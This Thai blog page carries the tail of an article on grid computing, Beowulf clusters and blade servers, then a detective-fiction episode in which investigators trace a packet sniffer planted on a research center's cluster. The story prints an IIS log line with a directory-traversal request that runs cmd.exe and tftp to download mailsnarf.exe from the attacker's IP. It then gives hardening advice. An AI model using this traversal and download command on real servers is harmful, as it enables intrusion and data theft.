กริดคอมพิวติง คล้ายการทำคลัสเตอร์ แตกต่างกันตรงที่ คลัสเตอร์จะเป็นกลุ่มคอมพิวเตอร์ที่เหมือนๆ กันและรวมศูนย์อยู่ด้วยกัน ทำงานร่วมกันเหมือนเป็นคอมพิวเตอร์ขนาดใหญ่เครื่องเดียว ส่วนกริด จะเป็นคอมพิวเตอร์สารพัดชนิดและขนาด กระจายอยู่ทั่วไป ยกตัวอย่างกริดคอมพิวติง คือ โครงการเซติที่บ้าน (SETI@home) เป็นโครงการที่ค้นหามนุษย์ต่างดาวด้วยการรับสัญญาณต่างดาวด้วยจานวิทยุโทรทัศน์ เป็นกริดคอมพิวติงขนาดใหญ่ที่สุดในโลก เพราะมีผู้ใช้คอมพิวเตอร์ตามบ้านถึงสามล้านรายทั่วโลกเข้าร่วมโครงการเพื่อช่วยกันวิเคราะห์สัญญาณ อีกตัวอย่างหนึ่งของกริดคือโปรแกรมจัดการฐานข้อมูลของบริษัท ออราเคิล มีรุ่นที่สนับสนุนการใช้งานกริด

 

โปรแกรม SETI@home ทำงานในระบบปฏิบัติการลินุกซ์ ใช้เพื่อค้นหาสติปัญญาที่อยู่ในดาวเคราะห์ดวงอื่น

 

เพื่อนกันกับแรกนารอก

โศลกเก่าแก่ของอังกฤษ เกี่ยวกับตำนานไวกิ้งซึ่งเป็นที่รู้จักดี นอกจากจะมีเรื่อง แรกนารอก (Ragnarok) แล้ว ยังมีเรื่องของ เบวูฟ (Beowulf) กษัตริย์หาญกล้าผู้ทรงยึดมั่นในสัตย์สาบานด้วยอีกเรื่องหนึ่ง แต่ในแวดวงนักสร้างคลัสเตอร์ เบวูฟ มีความหมายอย่างอื่นด้วย มันหมายถึงสถาปัตยกรรมที่ใช้คอมพิวเตอร์หลายๆ ตัว มาประกอบกันเข้าเพื่อให้ประมวลผลแบบขนาน สถาปัตยกรรมนี้ประกอบด้วยแม่ข่ายหนึ่งหรือหลายๆ ตัว และลูกข่ายหนึ่งหรือหลายๆ ตัว เชื่อมต่อกันด้วยอีเธอร์เน็ต

 

   กษัตริย์เบวูฟในตำนานเก่าแก่ของอังกฤษ

 

เบวูฟไม่เหมือนคอมพิวเตอร์หลายๆ เครื่องที่นำมาเชื่อมกันด้วยระบบแลนอย่างในอินเตอร์เน็ตคาเฟ่ เพราะเบวูฟจะทำ

งานเหมือนเป็นคอมพิวเตอร์ตัวเดียว คอมพิวเตอร์ที่เป็นโหนดในระบบจะไม่มีแป้นพิมพ์ เมาส์ และจอภาพ มีสถานะเป็นเพียงกล่องที่มีซีพียูและหน่วยความจำ คือเป็นเพียงอุปกรณ์ชิ้นหนึ่งในระบบเท่านั้น

เบวูฟ เป็นวิธีง่ายที่สุดในการสร้างคอมพิวเตอร์ที่มีพลังการประมวลผลระดับซุปเปอร์คอมพิวเตอร์ด้วยตนเอง เป็นระบบที่ถูกสร้างจากอุปกรณ์พื้นๆ เช่นเครื่องพีซีธรรมดาที่สามารถวิ่งระบบปฏิบัติการลินุกซ์ได้ เชื่อมต่อกันด้วยการ์ดแลนและแลนสวิทช์ธรรมดา ไม่มีฮาร์ดแวร์พิเศษพิสดารใดๆ ซอฟต์แวร์ก็หาได้ง่ายและฟรี จึงเป็นระบบที่ผู้ใช้ตามบ้านสามารถสร้างเองได้อย่างสบาย

โหนดที่เป็นแม่ข่าย จะทำหน้าที่ควบคุมคลัสเตอร์ และจ่ายแฟ้มข้อมูลให้โหนดที่เป็นลูกข่าย และยังทำหน้าที่เป็นเครื่องที่มีหน้าจอควบคุม และเป็นช่องทางติดต่อกับเครือข่ายอื่นๆ (network gate way) คลัสเตอร์เบวูฟขนาดใหญ่อาจมีแม่ข่ายมากกว่าหนึ่งตัว โดยแม่ข่ายแต่ละตัวจะถูกกำหนดให้มีหน้าที่แตกต่างกัน ยกตัวอย่างเข่น แม่ข่ายตัวหนึ่งอาจถูกใช้เป็นหน้าจอตรวจสอบสถานะของคลัสเตอร์ ขณะที่แม่ข่ายอีกตัวทำหน้าที่เป็นช่องทางติดต่อกับเครือข่ายอื่นๆ ส่วนโหนดที่เป็นลูกข่ายมักถูกทำให้โง่เข้าไว้ ยิ่งโงมากยิ่งดี คือไม่ต้องคิดอะไรมาก มีหน้าที่คอยรับคำสั่งจากแม่ข่ายเท่านั้น

 

เบวูฟที่สร้างขึ้นใช้ภายในบ้านมักประกอบด้วยฮาร์ดแวร์คละแบบ

 

ซอฟต์แวร์ของเบวูฟ

การสร้างเบวูฟไม่จำเป็นต้องใช้ซอฟต์แวร์พิเศษ ใช้เพียงลินุกซ์ดิสทริบิวชัน (ดิสโทร) มาตรฐานก็พอ วิธีทำเบวูฟอย่างง่ายที่สุดคือนำคอมพิวเตอร์มาสองเครื่อง เชื่อมต่อกันด้วยอีเทอร์เน็ต แล้วกำหนดให้แชร์ /home ในระบบไฟล์ NFS จากนั้นกำหนดให้ทั้งสองเครื่องทำงานกับรีโหมดเชล (remote shells หรือ rsh) เดียวกัน เพียงเท่านี้ก็ถือว่าได้เบวูฟระดับพื้นฐานแล้ว

 

คมยิ่งกว่าดาบ

เครื่องคอมพิวเตอร์ตามคติของ ทัวริง มีส่วนประกอบหลักเพียงสามส่วน คือหน่วยความจำ หน่วยประมวลผล และหน่วยเก็บผลลัพธ์ คอมพิวเตอร์ที่เราใช้กันในปัจจุบันก็เป็นแบบทัวริง แต่เพิ่มสิ่งจำเป็นในการใช้งานประจำวันเข้าไป เช่น ส่วนเชื่อมต่อแผ่นจานแม่เหล็ก หน่วยจ่ายกำลังไฟ ส่วนเชื่อมต่อเครือข่าย ส่วนเชื่อมต่อกับมนุษย์ เช่น เมาส์ แป้นพิมพ์ กล้องเว็บแคม ฯลฯ สิ่งต่างๆ เหล่านี้ไม่ใช่องค์ประกอบพื้นฐานของคอมพิวเตอร์

มีผู้คิดสร้างเครื่องคอมพิวเตอร์แม่ข่าย (sever) ที่เรียกว่า บเลด (blade) ที่ตัดอุปกรณ์ไม่เกี่ยวข้องออกหมด เหลือเพียงส่วนประกอบตามแบบ ทัวริง ออกแบบให้มีขนาดพอดีใส่ได้ในตู้โครงเหล็กมาตรฐาน (rack-mount แบบ U1) คือกว้างสิบเก้านิ้ว สูง 1.75 นิ้ว ทำให้บรรจุ บเลด ได้ถึงหนึ่งร้อยชุดเข้าในตู้โครงเหล็กเพียงตู้เดียวได้ เนื่องจาก บเลด มีทุกอย่างอยู่พร้อม เพียงเสียบสายจ่ายกำลังไฟฟ้า และสายเชื่อมต่อเครือข่ายก็ทำงานได้ บเลด มักถูกนำไปใช้โดยผู้ให้บริการอินเตอร์เน็ต และผู้สร้างคลัสเตอร์ เพราะกะทัดรัดและมีความคล่องตัวสูง เราสามารถถอด บเลด ออกจากระบบได้โดยไม่ต้องปิดไฟ (hot-swappable) การเพิ่ม-ลด จำนวนโหนด และการซ่อมบำรุงจึงทำได้สะดวกมาก

 

เบลดยี่ห้อบรอดเบอร์รี ใช้ซีพียูอินเทลซีนอน

 

โปรดติดตามตอนจบ

หน้าแรก สารบัญ เกี่ยวกับบล็อกนี้ เกี่ยวกับผู้เขียน

 

นิยายนักสืบตอน : ตัวดูดมะเร็ง [2]

ลาภลอย วานิชอังกูร www.laploy.com

09.00 น. อัลฟาเซคเตอร์ ศูนย์วิจัยซีสา

ชนกพรนำสุนทรและใจทิพย์ลงลิฟต์ไปยังห้องใต้ดิน สุนทรพบว่าพื้นที่ใต้ดินมีขนาดกว้างขวางกว่าที่คาดไว้มาก

“ศูนย์นี้ก็เหมือนภูเขาน้ำแข็ง ที่เห็นบนพื้นดินเป็นเพียงส่วนยอดของมัน อีกเก้าสิบเปอร์เซ็นต์ถูกฝังไว้ใต้ดิน” ชนกพรเฉลย ขณะเดินนำลึกเข้าไปตามทางเดินแคบๆ ครู่หนึ่งก็มาหยุดหน้าประตูที่มีป้ายติดไว้ว่า “อัลฟาเซคเตอร์” หล่อนกดรหัสที่แป้นพิมพ์เล็กๆ ที่ติดอยู่บนขอบประตู ยกบัตรที่ห้อยคอยกขึ้นใกล้เครื่องอ่าน แล้วประตูก็เลื่อนเปิดออก

สุนทรรู้สึกเหมือนเดินเข้าไปในตู้เย็น ห้องนั้นสว่าง ขาว และเย็น อากาศทั่วไปในศูนย์ก็ถูกปรับให้เย็นและแห้งอยู่แล้ว แต่ในห้องนี้ยิ่งเย็นและแห้งขึ้นไปอีก สุนทรรู้สึกจมูกโล่งและสมองแจ่มใสอย่างประหลาด เขามองไปรอบๆ และพบว่าตนกำลังยืนอยู่ด้านหน้าของห้องขนาดใหญ่ ด้านหน้าสุดมีแผงควบคุมที่ทำเป็นโต๊ะทำงานซึ่งมีแป้นพิมพ์และจอภาพ เลยออกไปมีโครงเหล็กเป็นชั้นสูงจากพื้นขึ้นไปเกือบถึงเพดาน ภายในมีคอมพิวเตอร์ซึ่งทำหน้าที่เป็นโหนดของซุปเปอร์คอมพิวเตอร์ตั้งเรียงรายอยู่ ชั้นเหล่านี้มีหลายแถว ทอดแนวไปตลอดความยาวของห้อง สุนทรได้เสียงเสียงหึ่งเบาๆ ห่มคลุมอยู่ในอากาศ สัตว์ยักษ์นี้มีชีวิต และนี่คือเสียงชีพจรของมันที่เต้นหลายพันล้านครั้งต่อวินาที

“ผมอยากจะขอดูไฟล์ที่ว่าหน่อยครับ” สุนทรกล่าวเมื่อนั่งลงที่แผงควบคุมตามคำเชิญ ชนกพรพยักหน้าพลางเลื่อนเมาส์แล้วกดสองสามที

“ตอนแรกดิฉันตรวจพบไฟล์นี้ในโหนด 20 ของเบตา แต่หลังจากนั้นพบว่าทุกโหนดของทุกเซคเตอร์มีไฟล์อย่างเดียวกันนี้ทั้งนั้น” ชนกพรเปิดหน้าจอแสดงรายชื่อไฟล์ที่โฟลเดอร์ c:\ สุนทรพบว่าเวลาปรับปรุงล่าสุด (time stamp) ของไฟล์คือเมื่อไม่กี่นาทีที่ผ่านมา ขณะที่กำลังจ้องมองอยู่หน้าจอก็ปรับข้อมูล ขนาดของไฟล์โตขึ้นทันที

“คุณพระช่วย! มันกำลังโตขึ้นเรื่อยๆ” ใจทิพย์อุทาน

“ผมขอใช้แผงควบคุมนี้เพื่อดำเนินการสืบสวนได้มั๊ยครับ” สุนทรถาม ชนกพรพยักหน้าอย่างเต็มใจ เขาพิมพ์คำสั่งลงบนแป้นพิมพ์อย่างรวดเร็ว

C:\>type memory.dmp | more

ข้อความตัวอักษรทะลักออกมาบนจอทันทีที่กดปุ่ม enter มันหยุดเมื่อแสดงจนเต็มหน้าจอแล้ว

From doctor-somboon@sesa.th Sat Jan 6 23:02:02 2008

From: "Doctor Somboon wattana" <doctor-somboon@sesa.th>

To: <doctor-kaufmann@sesa.ch>

Subject: Gene transplant

Date: Sat, 6 Jan 2008 23:02:02 -0700

Message-ID: <000001c12ddb$7ad3e780$0a01a8c0@cutemup>

MIME-Version: 1.0

Content-Type: multipart/alternative;

boundary="—-=_NextPart_000_0001_01C12DA0.CE781CC0"

X-Priority: 3 (Normal)

X-MSMail-Priority: Normal

X-Mailer: Microsoft Outlook, Build X.x

Importance: Normal

X-MimeOLE: Produced By Microsoft MimeOLE VX.x

Content-Type: text/plain;

charset="us-ascii"

Content-Transfer-Encoding: 7bit

Doctor Kaufmann,

The results of the tests for Mr. Bantugan’s pending transplant are

below. Due to the severity of his neuroses and general level of

confusion, I am recommending he undergo surgery within a week.

All of the relevant personal information including contact

information is included. Call me if you have any questions.

— More —

ชนกพรจ้องมองหน้าจออย่างตกตะลึงจนซึมเซา สิ่งที่เก็บอยู่ในไฟล์ memory.dmp ถึงกับเป็นอีเมลโต้ตอบกันระหว่างนายแพทย์ในศูนย์นี้กับนายแพทย์อีกคนหนึ่งในศูนย์วิจัยที่เจนิวา เมื่อสุนทรกดให้หน้าจอเลื่อนต่อไปอีก ชนกพรก็ต้องตกใจมากยิ่งขึ้น เพราะอีเมลบางอีเมลมีไฟล์แนบเป็นข้อมูลทางการแพทย์ของคนไข้ ข้อมูลจากงานวิจัย และข้อมูลอ่อนไหวอื่นๆ

“มีใครหรืออะไรบางอย่างกำลังรวบรวมอีเมลทั้งหมดมาสร้างเป็นไฟล์ชื่อ memory.dum เก็บไว้ในโหนดนี้” ใจทิพย์กล่าวสรุป ชนกพรและสุนทรพยักหน้าพร้อมกันอย่างเห็นด้วย

“ถ้าเป็นเช่นนั้นจริง ในโหนดอื่นๆ ก็คงมีไฟล์ memory.dmp ด้วย แต่คงไม่ได้เก็บอีเมลทุกโหนด เพราะข้อมูลอีเมลคงไม่มากถึงขนาดทำให้ฮาร์ดดิสก์ของทุกโหนดเต็ม ถ้าเช่นนั้นมันข้อมูลคืออะไร?” ใจทิพย์ตั้งคำถาม สุนทรป้อนคำสั่งต่อเชื่อมกับโหนดที่ 21 เมื่อตรวจสอบก็พบดัมพ์ไฟล์จริงดังที่ใจทิพย์คาดไว้จึงใช้คำสั่ง type อีกครั้ง แต่คราวนี้ได้ผลลัพธ์ที่แตกต่างออกไป

“นี่มันอะไรค่ะ ใช่ไบนารีหรือเปล่า” ชนกพรชี้ข้อมูลบนจอซึ่งเป็นตัวอักษรประหลาดทั้งหมด

“ดูเหมือนว่าจะเป็นการรวมกันของไฟล์ฟอร์เมตอะไรสักอย่าง” สุนทรพึมพำขณะเปิดโปรแกรม UlterEdit32 ขณะนี้ข้อมูลถูกแสดงเป็นเลขฐานสิบหกและสายอักขระ

“ดูนี่สิครับ” สุนทรชี้ให้ดูคำว่า PDF ที่บรรทัดหนึ่ง เมื่อเลื่อนหน้าจอไปเรื่อยๆ มีข้อมูลจำนวนมากวิ่งผ่านไป จนถึงจุดหนึ่งมีแต่ตัวอักษร FF ทั้งหมด เมื่อเลื่อนต่อไปอีกอักษร FF ก็หายไป แทนที่ด้วยข้อมูลใหม่อีกครั้ง ใจทิพย์ชี้ให้ดูตัวอักษร อี-โอ-เอฟ ซึ่งหมายถึงจุดสิ้นสุดของแฟ้มข้อมูล

“แสดงว่านี่เป็นการอัดรวมตัวกันของแฟ้ม PDF หลายๆ แฟ้มใช่ไหมค่ะ?” ชนกพรมองออกทันที

“ในศูนย์นี้มีการใช้ PDF ไหมครับ”

“ใช้กันมากค่ะ ข้อมูลงานวิจัยเกือบทั้งหมดถูกจัดเก็บไว้ในรูปแบบนี้”

สุนทรพยักหน้า แต่ไม่ได้พูดอะไร เขากำลังใช้เมาส์ลากคลุมข้อมูลบางส่วน นำมาสร้างเป็นไฟล์ใหม่ แล้วบันทึกไว้โดยใช้ชื่อว่า temp.pdf จากนั้นดับเบิ้ลคลิกที่ไอคอนของไฟล์ โปรแกรมอ่านแฟ้มข้อมูล PDF เปิดขึ้นเองโดยอัตโนมัติทันที

Subject : Somatic cell nuclear transfer

Research No : DS002/162

Date : February 15, 2007

Category : class 3

Team leader : Dr. Sunanta Kanjanlack

ชนกพรมองหน้าจอด้วยความพรั่นพรึง โปรแกรมอ่าน PDF กำลังแสดงใบปะหน้าของแฟ้มข้อมูล มันคือรายงานการวิจัยที่มีขั้นความลับสูงสุด ข้อมูลนี้หากรั่วไหลอาจสร้างความเสียหายให้แก่ซีสาอย่างร้ายแรง

“ไฟล์พวกนี้โตขึ้นอยู่ตลอดเวลา แสดงว่ายังมีงานบางอย่างวิ่งอยู่หลังฉาก กำลังรวบรวมข้อมูลมาบันทึกไว้” ใจทิพย์ตั้งข้อสังเกต สุนทรใช้เวลายี่สิบนาทีต่อมาตรวจสอบโหนดทุกโหนด เมื่อตรวจเสร็จแล้วเขาจึงหันไปพูดกับชนกพร

“ผมพบว่าทุกเครื่องมีไฟล์ memory.dmp ยกเว้นโหนด 0 ผมจะเปิดโปรแกรม Task Manager เพื่อดูโหนด 0 กับโหนด 1 เปรียบเทียบกัน” สุนทรเปิดกรอบหน้าต่างขึ้นบนจอภาพสองจอ ผลการเปรียบเทียบพบว่ารายชื่อโปรแกรมทั้งหมดตรงกัน ยกเว้นโหนด 1 มีโปรแกรมชื่อ datdump.exe เพิ่มขึ้น สุนทรค้นดูในฮาร์ดดิสก์ของโหนด 1 พบว่าไฟล์นี้อยู่ในโฟลเดอร์ c:\inetpub\scripts

“นี่ไง! ไฟล์ที่เป็นตัวการ” ใจทิพย์ร้อง หล่อนและชนกพรใช้เวลาหนึ่งชั่วโมงต่อมาค้นหาไฟล์ datdump.exe ในโหนดแต่ละโหนดของทุกๆ เซคเตอร์ แล้วไล่ลบทิ้งที่ละตัว พร้อมกับลบไฟล์ memory.dmp ด้วย แถบข้อความเตือนสีแดงที่แผงแสดงสถานะเริ่มดับลงทีละจุด จนในที่สุดทุกอย่างก็กลับสู่สภาพปรกติ

“โหนดเหล่านี้ถูกทำให้กลายเป็นตัวรวบรวมข้อมูลสำหรับแฮกเกอร์ไปได้ยังไงค่ะ?” ชนกพรหันไปถามสุนทรซึ่งกำลังทำงานอยู่ในอีกสถานีงานหนึ่ง

“เมื่อพิจารณาจากโทโปโลยีแล้ว ผมพบว่าคลัสเตอร์ทั้งสามอยู่ใน DMZ เดียวกันกับเครื่องแม่ข่ายที่ให้บริการเว็บ (web server) ซึ่งมีโปรโตคอล tftp เปิดอยู่ จึงเป็นเรื่องง่ายที่แฮกเกอร์มืดจะอาศัยช่องโหว่นี้ติดตั้งโปรแกรมลอบดูแพกเก็ต (packet sniffer)และเนื่องจากอีเมลที่ใช้ไม่ได้เข้ารหัส ข่าวสารต่างๆ จึงถูกสกัดไว้โดยง่าย”

“แฮกเกอร์มืดใช้โปรแกรมอะไรในการบันทึกข้อมูลค่ะ?” ใจทิพย์ถาม

“ผมนำไฟล์ datdump.exe มาวิเคราะห์ดูแล้ว พบว่ามันมีรหัสคล้ายโปรแกรม mailsnarf ซึ่งอยู่ในชุดโปรแกรม Dug Song’s Dsniff เป็นเครื่องมือสำหรับทดสอบการรุกล้ำเครือข่าย แฮกเกอร์มืดรายนี้คงนำ mailsnarf มาดัดแปลงเพื่อ เพราะนอกจากจะสามารถดักข้อความในอีเมลได้แล้ว ยังสามารถดักไฟล์ข้อมูลต่างๆ ที่นักวิจัยเปิดอ่านหรือจัดเก็บในศูนย์ข้อมูล (data achieve) ได้อีกด้วย”

“โปรแกรมนี้ถูกแฮกเกอร์นำมาติดตั้งไว้เมื่อไหร่ค่ะ?” ชนกพรถาม คราวนี้สุนทรไม่ตอบ แต่เขาหันไปเปิดไฟล์ memory.dmp ที่ถูกเก็บไว้ก่อนลบ แล้วพิมพ์คำสั่งที่คอมมานด์ไลน์

C:\>type memory.dmp |more

From doctor-somboon@sesa.th Sat Jan 6 23:02:02 2008

“การตรวจสอบช่วงเวลาเริ่มต้นการโจมตีทำได้จากสองแหล่ง ที่แรกคือวันที่ของอีเมลในไฟล์ memory.dmp นี้ซึ่งมี time stamp เก่าที่สุด ดูจากหัวของอีเมลจะเห็นว่าเป็นอีเมลที่ส่งเมื่อสามวันก่อน ต่อไปเราจะดู time stamp ของตัวไฟล์ datdump.exe” สุนทรพูดจบก็หันไปพิมพ์คำสั่ง dir เพื่อแสดงรายชื่อไฟล์

Directory of C:\inetpub\scripts

01/06/2001 06:53p <DIR> .

01/26/2001 06:53p <DIR> ..

01/06/2000 10:06p 102,400 datdump.exe

“จะเห็นว่าข้อมูลสองอย่างนี้ชี้ไปที่คำตอบเดียวกัน แฮกเกอร์มืดเริ่มโจมตีตอนสี่ทุ่มของวันที่หกมกราคมหรือเมื่อสามวันล่วงมาแล้ว”

“เรามีทางที่จะตรวจสอบได้ไหมค่ะว่า แฮกเกอร์เจาะระบบเข้ามาด้วยวิธีการได้ และจากไหน?”

“ได้อย่างแน่นอนถ้าคุณมีปูม (log file) ของแม่ข่ายในวันนั้น” สุนทรตอบ ชนกพรพยักหน้าพลางหันไปป้อนพิมพ์คำทันใดนั้นข้อมูลในปูมของแม่ข่ายเริ่มไหลเรื่อยออกมาบนจอภาพ

“หยุดตรงนั้นค่ะ” ใจทิพย์ร้อง ชี้ไปที่ข้อมูลวันที่หก เวลาตีห้า

#Software: Microsoft Internet Information Services 5.0

#Version: 1.0

#Date: 2001-01-06 05:56:46

#Fields: date time c-ip cs-username s-ip s-port cs-method cs-uri-st

em cs-uri-query sc-status cs(User-Agent)

2001-08-26 06:06:18 192.168.1.100 – 172.16.10.21 80 GET /scripts/de

po.bat/..\..\..\winnt/system32/cmd.exe /c%20tftp.exe%20-I%20192.168

.1.100%20get%20mailsnarf.exe%20c:\inetpub\scripts\mailsnarf.exe 502

Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0)

“ตาแหลมมากครับใจทิพย์” สุนทรพูดพลางชี้ที่ข้อมูลบนจอ “แฮกเกอร์เข้าตีจุดอ่อนของระบบ มันอาศัยเอเยนเพื่อรันโปรแกรมจากระยะไกล (remote code execution vulnerability) “ เขาชี้ที่บรรทัดหนึ่ง “ตรงนี้บอกให้รู้ว่าแฮกเกอร์มืดมีไอพี 172.16.10.21 มันใช้โปรโตคอล tftp เพื่อคัดลอกโปรแกรมมาใส่ไว้ที่แม่ข่าย” เมื่อสุนทรตรวจสอบแฟ้มปูมต่อไปอีกก็พบว่ามีบันทึกการกลับเข้ามาของ 172.16.10.21 เพื่ออ่านไฟล์ memory.dmp ในโหนดต่างๆ หลายครั้งระหว่างสามวันถัดมา

 

16.00 น. ลานจอดเฮลิคอปเตอร์ ศูนย์วิจัยซีสา

ใจทิพย์ และสุนทรกำลังยืนอยู่ที่ลานจอดเฮลิคอปเตอร์เพื่อเตรียมตัวเดินทางกลับ ลมจากใบพัดช่วยบรรเทาความร้อนจากแสงแดดยามบ่ายและความชื้นจากทะเล หนึ่งชั่วโมงก่อนหน้านี้สุนทรนั่งคุยกับพนักงานระดับบริหารศูนย์คอมพิวเตอร์ เขาแนะนำให้แยกแม่ข่ายเว็บออกจาก DMZ ของซุปเปอร์คอมพิวเตอร์

“มีทางยกระดับความปลอดภัยอื่นๆ อีกไหมครับ?” วิทยา ผู้อำนวยการศูนย์คอมพิวเตอร์ถาม

“มีครับ ผมเข้าใจว่าหน้าเว็บที่เป็นสาธารณะเป็นสเตติกทั้งหมด จึงควรบันทึกและให้อ่านจากแผ่นซีดี” สุนทรอธิบาย “การทำเช่นนั้นจะทำให้แฮกเกอร์เข้ามาสร้างประตูลับในหน้าเว็บไม่ได้ การกำหนดค่าของไฟร์วอล ควรจะเพิ่มความรัดกุมให้มากกว่านี้ โดยตัดโปรโตคอลที่ไม่ได้ใช้ออกให้หมด และตั้งสัญญาณเตือนเมื่อมีการเชื่อมต่อในลักษณะที่ผิดปรกติ”

“เราควรปรับปรุงแม่ข่ายอย่างไรค่ะ?” กาญจนา ผู้จัดการศูนย์ฯ ถาม

“ควรปรับปรุงระบบปฏิบัติการด้วย เซอร์วิสเพ็ค ให้ครบถ้วน ไฟล์บางไฟล์ที่ไม่ได้ใช้ เช่น ftfp.exe และ cmd.exe หากลบทิ้งไปเสียจะทำให้แฮกเกอร์มืดโจมตีได้ยากขึ้น และดูให้แน่ใจว่าเครื่องแม่ข่ายมีเฉพาะเซอร์วิสที่จำเป็นต้องใช้จริงๆ ทำงานอยู่”

“คดีนี้ถือว่าประสบความสำเร็จด้วยดีนะคะ” ใจทิพย์เปรยขณะเครื่องบินปีกหมุนยกตัวขึ้นสู่ท้องฟ้า

“จริงครับ แต่คุณบอกผมหน่อยได้ไหมว่านั่นคืออะไร” สุนทรชี้ออกไปนอกหน้าต่าง ใจทิพย์ชะเง้อตาม อาคารของซีสาที่มีขนาดเล็กลงและเลื่อนห่างออกไป ศูนย์คอมพิวเตอร์เป็นทรงกลมเห็นชัดจากบนอากาศ แล้วใจทิพย์ก็ขนลุกซู่เมื่อมองเห็นสัญลักษณ์บนยอดของวงกลม มันคือตัววีหงายและตัววีคว่ำซ้อนกัน

นิยายนักสืบตอน : แฮกเกอร์มืด ปล้นเหนือเมฆ
นิยายนักสืบตอน : DNS Pinning
นิยายนักสืบตอน : วิชามาร Social Engineering
นิยายนักสืบตอน : Hackarmy-A

 

เกี่ยวกับบล็อกนี้

เว็บบล็อก “คนคอมพิวเตอร์” หรือ Laploy’s articles เป็นบล็อกรวบรวมบทความจาก ลาภลอย วานิชอังกูร มีบทความหลายประเภทคละกัน เช่นบทความเกี่ยวกับการพัฒนาซอฟต์แวร์ บทความเกี่ยวกับการสร้างและดัดแปลงฮาร์ดแวร์ บทความเกี่ยวกับเทคโนโลยีคอมพิวเตอร์ทั่วไป บทความทั่วไป และนิยายนักสืบ

เกี่ยวกับผู้เขียน

ลาภลอย วานิชอังกูร เป็นผู้เชี่ยวชาญการพัฒนาแอพลิเกชันฐานข้อมูลและ Business Intelligence โดยเริ่มจากการพัฒนาโปรแกรมด้วย dBaseII, Clipper, FoxPro ปัจจุบันเป็นผู้เชี่ยวชาญในการบูรณาการระบบฐานข้อมูลด้วยเทคโนโลยีของไมโคร ซอฟต์เช่น ASP.NET, ADO.NET, Microsoft SQL Server 2008 และ LINQ ชำนาญการเขียนคิวรีเพื่อแก้ปัญหาทางธุรกิจที่ซับซ้อน Data mining, Data Warehouse, OLAP (SSRS), OLTP เคยออกแบบฐานข้อมูลสัมพันธ์ในองค์กรระหว่างประเทศ เคยพัฒนาแอพลิเกชันฐานข้อมูลในโครงการขนาดใหญ่หลายโครงการ และเคยให้คำปรึกษาด้าน BI ในศูนย์คอมพิวเตอร์ (T-Center) ในองค์กรของประเทศฝรั่งเศส
นอกจากงานฐานข้อมูลแล้ว ลาภลอย วานิชอังกูร ยังเชี่ยวชาญการพัฒนาซอฟต์แวร์ระบบฝังตัว (Microprocessor / Microcontroller Based Embedded System) งานพัฒนาแอพลิเกชันในอินเตอร์เน็ตแบบ RIA (Rich Internet Application) งานพัฒนาโครงสร้างพื้นฐานของซอฟต์แวร์ด้วยหลักการ OOP (Framework Development in Object Oriented Programming) ด้วยภาษา C# และ .NET Framework และงานบูรณาการระบบในองค์กรหรือ SOA (Service Oriented Architecture for Enterprise Orchestration) เคยร่วมงานกับทีมพัฒนาซอฟต์แวร์ในหลายๆ ประเทศ เช่น ไทย อินเดีย สวิส เยอรมัน และประเทศสหรัฐอเมริกา
ปัจจุบัน ลาภลอย วานิชอังกูร ทำหน้าที่ให้คำปรึกษาการวางระบบ IT (เช่น SQL, OLAP,.NET, SCADA, BI, SOA และอื่นๆ) ให้แก่หน่วยงานขนาดใหญ่หลายแห่ง และมีบทความทางวิชาการตีพิมพ์ในวารสารหลายเล่มอย่างสม่ำเสมอ และเป็นผู้เขียนหนังสือ "เรียนรู้ด้วยตนเอง DataBase - Query - T-SQL - Stored Procedure" และ “เรียนรู้ด้วยตนเอง OOP C# ASP.NET” (ISBN 13:978-974-212-598-1)
ท่านสามารถติดต่อผู้เขียนได้ที่อีเมล laploy@gmail.com

เรียนรู้ด้วยตนเอง OOP C# ASP.NET

ชื่อหนังสือ : เรียนรู้ด้วยตนเอง OOP C# ASP.NET โดย : ลาภลอย วานิชอังกูร จัดพิมพ์จัดจำหน่ายโดย : บริษัท ซีเอ็ดยูเคชั่น จำกัด (มหาชน) ISBN : 13:978-974-212-598-1 ราคา : 349 บาท จำนวนหน้า : 648 ขนาด : 19x29 ซ.ม.

เรียนรู้ด้วยตนเอง DataBase – Query – T-SQL – Stored Procedure

ชื่อหนังสือ: เรียนรู้ด้วยตนเอง DataBase - Query - T-SQL - Stored Procedure โดย: ลาภลอย วานิชอังกูร จัดพิมพ์จัดจำหน่าย: บริษัท ซีเอ็ดยูเคชั่น จำกัด (มหาชน) ISBN: 978-616-08-0009-4 ราคา: 559 บาท จำนวนหน้า: 1,100 ขนาด: 19x29 ซ.ม. วางตลาด: ตุลา 2552

กรุณาป้อนอีเมลของท่าน

Join 17 other followers